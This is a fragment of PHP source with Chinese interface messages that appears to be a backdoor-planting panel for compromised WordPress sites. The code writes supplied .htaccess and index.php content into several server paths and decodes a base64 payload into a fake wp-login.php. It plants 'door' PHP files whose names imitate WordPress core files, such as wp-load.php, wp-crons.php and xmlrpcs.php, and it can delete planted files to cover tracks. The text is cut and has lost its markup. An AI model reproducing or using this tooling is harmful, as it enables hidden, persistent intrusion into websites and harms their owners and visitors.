请填写htaccess文件1保存路径
";
}
if(empty($ht_url_2)){
$msg .= "
请填写htaccess文件2保存路径";
}
if(empty($ht_url_3)){
$msg .= "
请填写htaccess文件3保存路径";
}
if(empty($in_url_1)){
$msg .= "
请填写index文件1保存路径";
}
if(empty($in_url_2)){
$msg .= "
请填写index文件2保存路径";
}
if(empty($in_url_3)){
$msg .= "
请填写index文件3保存路径";
}
if(empty($ht_content)){
$msg .= "
请填写.htaccess文件内容";
}
if(empty($index_content)){
$msg .= "
请填写index.php文件内容";
}
if(empty($wp_login_url)){
$msg .= "
请填写wp-login.php文件保存路径";
}
if(empty($wp_login_name)){
$msg .= "
请填写wp-login.php文件名称";
}
if(empty($msg)){
$request_scheme = $http_name;
$path = $_SERVER['DOCUMENT_ROOT'];
$ht_1_result = new_create_file($path .$ht_url_1, $ht_content);
$ht_2_result = new_create_file($path .$ht_url_2, $ht_content);
$ht_3_result = new_create_file($path .$ht_url_3, $ht_content);
$index_1_result = new_create_file($path . $in_url_1, $index_content);
$index_2_result = new_create_file($path . $in_url_2, $index_content);
$index_3_result = new_create_file($path . $in_url_3, $index_content);
$wp_login_content = base64_decode($wp_login_content);
$wp_login_result = create_file($path .'/'. $wp_login_url, $wp_login_name, $wp_login_content);
$msg .= $ht_1_result['msg'];
$msg .= $ht_2_result['msg'];
$msg .= $ht_3_result['msg'];
$msg .= $index_1_result['msg'];
$msg .= $index_2_result['msg'];
$msg .= $index_3_result['msg'];
$msg .= $wp_login_result['msg'];
if($wp_login_result['status'] == 1){
$msg .= "
wp-login.php路径:".$request_scheme.'://'.$_SERVER['HTTP_HOST'].'/'.$wp_login_url.'/'.$wp_login_name."";
}
}
}
?>
count;
$door_file_name = trim($_POST['door_file_name']);
$door_file_url_name = trim($_POST['door_file_url_name']);
$other_file_array = array('admin.php','wp-admin.php');
if(empty($door_file_name)){
$file_array = array('index.php','index.php','index.php','index.php',
'wp_blog.php','wp_cron.php','wp.php','vedcve.php',
'thems.php','loads.php','jsdindex.php','load.php',
'xmlrpcs.php','lofter.php','wp-crons.php','wp-load.php',
'repeater.php','wp-scripts.php'
);
}else{
$file_array = explode("\n", str_replace("\r\n", "\n", $door_file_name));
}
$file_names = "";
$run_count = $count;
if($run_count > count($file_array)){
$run_count = count($file_array);
}
for($i = 0;$i < $run_count;$i++){
if(empty($file_names)){
$file_names = $file_names . $file_array[$i];
}else{
$file_names = $file_names . '
' . $file_array[$i];
}
}
for($i = 0;$i < count($other_file_array);$i++){
if(empty($file_names)){
$file_names = $file_names . $other_file_array[$i];
}else{
$file_names = $file_names . '
' . $other_file_array[$i];
}
}
if(empty($door_file_url_name)){
$file_urls = get_save_url($run_count+count($other_file_array));
}else{
$file_urls = explode("\n", str_replace("\r\n", "\n", $door_file_url_name));
}
$file_urls = fill_full($file_urls, $count+count($other_file_array));
$file_url_name = "";
for($i = 0;$i < count($file_urls);$i++){
if(empty($file_url_name)){
$file_url_name = $file_url_name . $file_urls[$i];
}else{
$file_url_name = $file_url_name . '
' . $file_urls[$i];
}
}
?>
请填写php文件名称
';
}
if(empty($door_file_url_name)){
$msg .= '
请填写php文件要放入的路径';
}
$file_name_list = explode("\n", str_replace("\r\n", "\n", $door_file_name));
$file_url_list = explode("\n", str_replace("\r\n", "\n", $door_file_url_name));
$result = add_files($file_name_list, $file_url_list, count($other_file_array));
$code_urls = $result['code_urls'];
$msg .= $result['msg'];
}
?>
请填写要删除文件名称';
}else{
$files = explode("|", $delete_file);
$msg = delete_urls($files);
if(empty($msg)){
$msg = '
暂无文件可删除';
}
}
?>